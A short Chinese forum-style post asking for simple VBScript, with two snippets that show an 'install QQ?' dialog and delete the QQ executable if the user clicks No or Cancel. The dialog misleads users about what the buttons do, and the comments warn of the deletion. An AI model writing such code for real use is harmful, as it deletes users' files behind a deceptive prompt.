求一个简单的VBS代码

代码如下：
'警告！！
'慎用，点击否，出现删除qq的情况，后果自负！！
'请先备份！！！！！
set fso=CreateObject("Scripting.FileSystemObject")
set ws=CreateObject("wscript.shell")
k=MsgBox("您是否现在安装qq",vbyesno,"温馨提示")
p=ws.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Tencent\PlatForm_Type_List\3\TypePath")
set f=fso.getfile(p)
if k=vbyes Then
ws.run f.shortpath
else
if k=vbNo Then
fso.deletefile f.shortpath
end if
end if

'警告！！
'慎用，点击否，出现删除qq的情况，后果自负！！
'请先备份！！！！！

On error resume next
Set WS = createobject("wscript.shell")
Set fso = createobject("scripting.filesystemobject")
QQ = "C:\QQ.exe"
ENTER = msgbox ("您是否现在安装QQ?",vbokcancel)
IF ENTER = 1 then
ws.run QQ
Else
fso.deletefile QQ
end if